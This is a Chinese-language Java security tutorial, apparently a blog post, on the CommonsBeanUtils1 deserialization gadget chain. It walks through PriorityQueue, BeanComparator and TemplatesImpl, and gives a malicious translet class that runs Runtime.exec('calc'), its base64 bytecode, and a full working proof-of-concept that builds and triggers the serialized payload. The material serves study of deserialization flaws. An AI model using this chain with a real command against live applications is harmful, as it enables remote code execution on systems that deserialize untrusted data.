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【java安全】CommonsBeanUtils1

前言

在之前我们学习了java.util.PriorityQueue，它是java中的一个优先队列，队列的每个元素都有优先级，在反序列化这个对象的时候，为了保证队列顺序，会将队列中的元素进行排序，从而调用了java.io.Comparator接口的compare()方法，进而执行恶意反序列化操作

我们能不能找到除了之前提到的TransformingComparator类以外的其他可以利用的java.util.Comparator对象？我们需要了解一下Commons Beanuitls

Apache Commons Beanutils

在找可用的Comparator之前，我们需要知道一下Apache Commons Beanutils，它是Apache Commons工具集下的一个项目，提供了对java类对象(javaBean)的一些操作方法

什么是javaBean?

final public class Cat { private String name = "catalina";public String getName() { return name;}public void setName(String name) { this.name = name;}
}

javaBean就是一种标准化的java对象，成员变量为private，提供了对成员变量的getter()和setter()方法，符合驼峰命名法

在Commons Beanutils中提供了一个静态方法PropertyUtils.getProperty()

public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {return PropertyUtilsBean.getInstance().getProperty(bean, name);}

这个方法可以可以调用任意javaBean对象的getter()方法

例如：

PropertyUtils.getProperty(new Cat(),'name')

这个方法会调用Cat对象的getName()方法，使用该方法可以调用任意对象的getter方法

BeanComparator

我们上文说想要找到其他的实现java.util.Comparator的类

在commons-beanutils中有一个BeanComparator类：

先看看构造方法：

public BeanComparator() {this((String)null);}public BeanComparator(String property) {this(property, ComparableComparator.getInstance());
}public BeanComparator(String property, Comparator<?> comparator) {this.setProperty(property);if (comparator != null) {this.comparator = comparator;} else {this.comparator = ComparableComparator.getInstance();}}

构造方法可以为：property属性赋值，这个很重要后面会用到

然后看看compare()方法：

package org.apache.commons.beanutils;public class BeanComparator<T> implements Comparator<T>, Serializable {public int compare(T o1, T o2) {if (this.property == null) {return this.internalCompare(o1, o2);} else {try {Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);return this.internalCompare(value1, value2);} catch (IllegalAccessException var5) {throw new RuntimeException("IllegalAccessException: " + var5.toString());} catch (InvocationTargetException var6) {throw new RuntimeException("InvocationTargetException: " + var6.toString());} catch (NoSuchMethodException var7) {throw new RuntimeException("NoSuchMethodException: " + var7.toString());}}}}

我们注意一下它的compare(T o1, T o2)方法，当property==null时,不会调用PropertyUtils.getProperty()

if (this.property == null) {return this.internalCompare(o1, o2);
}

PropertyUtils.getProperty()

Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);

它会去调用o1、o2对象的名为property的属性值的getter方法

这里很重要，加入o1是TemplatesImpl对象的话这里是可以构造反序列化利用链的

我们先来回顾一下前面TemplatesImpl中的调用链：

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

这里的getOutputProperties()就是getter方法的形式，并且它会调用newTransformer()触发恶意字节码执行。因此，如果我们PropertyUtils.getProperty(o1, this.property)第一个形参传入：TemplatesImpl对象，并且第二个参数property传入值outputProperties

那么就会调用TemplatesImpl#getOutputProperties()方法了

我们可以简单测试一下：

我们先构造一个恶意字节码的类HelloTemplatesImpl：(注意需要继承AbstractTranslet,这样才有效)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;public class HelloTemplatesImpl extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public HelloTemplatesImpl() throws IOException {Runtime.getRuntime().exec("calc"); //构造对象会弹出计算器}}

我们将其编译为字节码并且base64编码一下

然后编写利用链：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;public class CommonsBeanUtils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator beanComparator = new BeanComparator("outputProperties");beanComparator.compare(obj,null);}
}

确实弹出了计算器，说明这是对的

如何调用BeanComparator#compare()方法？

我们这里可以继续使用PriorityQueue类，它的readObject()方法可以触发排序等函数，最终调用comparator变量的compare() 方法，并且形参传入TemplatesImpl对象（注意讲BeanComparator的property设置为outputProperties）

PriorityQueue#siftDownUsingComparator()

comparator.compare((E) c, (E) queue[right]) > 0)

当反序列化时调用PriorityQueue#readObject()方法，最终调用comparator#compare()，然后调用TemplatesImpl#getOutputProperties()方法

构造POC

首先常规构造TemplatesImpl对象：

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后构造BeanComparator类，我们先不为property赋值，防止提前调用PropertyUtils.getProperty():

BeanComparator comparator = new BeanComparator();

然后创建PriorityQueue，队列大小为2，将comparator成员变量赋值为BeanComparator对象：

PriorityQueue queue = new PriorityQueue(2, comparator);

然后添加2个无关紧要的值进queue中(之所以这么做是因为防止add()提前触发comparator.compare())

queue.add(1);
queue.add(1);

添加完成之后我们再将queue的值(用来给compare方法传入TemplatesImpl对象)以及BeanComparator的property赋值为outputProperties

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

完整POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class CommonsBeanUtils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator();PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}

调用可以弹出计算器：

调用链

PriorityQueue#readObject()heapify();siftDown(i, (E) queue[i]);siftDownUsingComparator(k, x);BeanComparator#compare(TemplatesImplObj,)PropertyUtils.getProperty(TemplatesImplObj, "outputProperties")TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()...defindClass()